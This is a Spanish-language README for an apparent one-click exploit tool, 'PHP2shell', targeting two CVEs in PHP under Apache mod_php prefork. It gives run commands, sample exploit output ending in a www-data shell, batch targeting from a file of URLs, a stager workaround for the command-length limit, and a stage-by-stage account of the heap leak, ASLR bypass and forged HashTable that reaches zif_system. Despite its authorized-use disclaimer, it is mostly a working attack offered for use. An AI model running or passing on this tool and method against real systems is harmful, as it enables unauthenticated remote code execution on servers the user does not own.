
PoC de explotación de un solo clic para CVE-2026-109618 y CVE-2026-109619 contra objetivos vulnerables de PHP + Apache mod_php (prefork).
PoC armado de un solo clic para CVE-2026-109618 y CVE-2026-109619
Dirigido a implementaciones vulnerables de PHP + Apache mod_php (prefork).
⚠️ ADVERTENCIA: Esta herramienta se proporciona estrictamente para pruebas de seguridad autorizadas, CTFs e investigación educativa. No la utilices contra infraestructuras que no poseas o para las que no tengas permiso explícito de probar. El autor no asume ninguna responsabilidad por el uso indebido.
PHP2shell es un exploit de corrupción de memoria de múltiples etapas dirigido al núcleo de PHP dentro de entornos Apache mod_php prefork.
Al abusar del manejo de Out-Of-Memory (OOM) y del estado propiedad de la petición que sobrevive en los workers persistentes, este exploit elude ASLR (Address Space Layout Randomization), filtra punteros internos del heap y de libphp.so, y falsifica estructuras de PHP para lograr ejecución remota de código (RCE) no autenticada.
bookworm (Predeterminado): Imagen oficial de Docker php:8.4.26-apache sobre Debian Bookworm.lab: Compilación de laboratorio personalizada (PHP 8.4.26, Apache 2.4.68, Debian 12, gcc 12).Ponte en marcha en segundos.
git clone https://github.com/0xgh057r3c0n/PHP2shell.git
cd PHP2shell
chmod +x php2shell.py
python3 php2shell.py -u http://127.0.0.1:8088/index.php
$ python3 php2shell.py -u http://target.local/index.php
.__ ________ .__ .__ .__
______ | |__ ______ \_____ \ _____| |__ ____ | | | |
\____ \| | \\____ \ / ____/ / ___/ | \_/ __ \| | | |
| |_> > Y \ |_> > \ \___ \| Y \ ___/| |_| |__
| __/|___| / __/\_______ \/____ >___| /\___ >____/____/
|__| \/|__| \/ \/ \/ \/
php2shell — CVE-2026-109618 / CVE-2026-109619
CVSS v4.0: 9.2 Critical
author: 0xgh057r3c0n
[*] target http://target.local/index.php (cmd='id>/out/p1')
[*] offsets: zif=0x690d8 dtor=0x613c50 htdata=0x690d8
[*] rotating worker over HTTP
[*] stage 1: heap leak (attempt 1/3)
[+] chunk base = 0x7f8a40000000
[*] rotating worker over HTTP
[*] stage 2: libphp leak (attempt 1/3)
[+] libphp base = 0x7f8a12345000
[*] rotating worker over HTTP
[*] stage 3: HTDATA=0x7f8a40690d8 ZIF=0x7f8a123a9a870
[+] W3 attempt 1
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Debido al tamaño del portador de 167 bytes, la longitud del comando está estrictamente limitada a 14 bytes. Para ejecutar payloads más largos, utiliza un stager corto:
python3 php2shell.py -u http://target.local/index.php -c 'sh</out/c'
Crea un archivo targets.txt:
http://10.0.0.1/index.php
https://10.0.0.2/index.php
target.local
Ejecuta el exploit secuencialmente contra todos los objetivos:
python3 php2shell.py -t targets.txt
Si has extraído los desplazamientos manualmente o estás apuntando a una compilación personalizada, pásalos directamente:
python3 php2shell.py -u http://target.local/index.php \
--zif-offset 0x43A870 \
--dtor-offset 0x613C50 \
--htdata-offset 0x690D8
En lugar de comprobar un archivo local, fuerza al exploit a verificar el RCE obteniendo un archivo vía HTTP:
python3 php2shell.py -u http://target.local/index.php \
-c 'id>/out/p1' \
--proof-file '' \
--fetch /out/p1
| Argumento | Descripción |
|---|---|
-u, --url | URL de la página PHP objetivo |
-t, --target-file | Archivo con una URL objetivo por línea |
-c, --cmd | Comando a ejecutar (máx. 14 bytes) |
--proof-file | Archivo de prueba local a verificar (predeterminado: out/p1) |
--fetch | Ruta GET para verificar la explotación de forma remota |
--profile | Perfil objetivo: bookworm (predeterminado) o lab |
--zif-offset | Desplazamiento de zif_system en libphp.so |
--dtor-offset | Desplazamiento de ZVAL_PTR_DTOR en libphp.so |
--htdata-offset | Desplazamiento relativo al chunk de la cadena de 167 bytes |
--retries | Intentos por etapa de fuga (predeterminado: 3) |
--no-color | Deshabilitar los colores ANSI |
| Etapa 0 | Rotación de workers: Envía una solicitud de tamaño excesivo para forzar a Apache prefork a abortar el worker actual y generar un proceso hijo nuevo con un heap limpio. |
| Etapa 1 | Fuga de heap: Provoca una corrupción por OOM para que un puntero global de módulo haga referencia a memoria liberada. Los campos de formulario rociados recuperan la ranura con un zend_string falsificado, filtrando punteros del heap mediante Set-Cookie. |
| Etapa 2 | Omisión de ASLR: Filtra un puntero de zval_ptr_dtor desde libphp.so. Restar el DTOR_OFFSET conocido revela la dirección base de la biblioteca. |
| Etapa 3 | RCE: Falsifica una HashTable falsa y establece pDestructor en libphp_base + ZIF_OFFSET. La rutina de limpieza de PHP llama a zif_system con tu comando. |
Licenciado bajo la Licencia MIT. Consulta LICENSE para más detalles.
Creado con 🔥 por 0xgh057r3c0n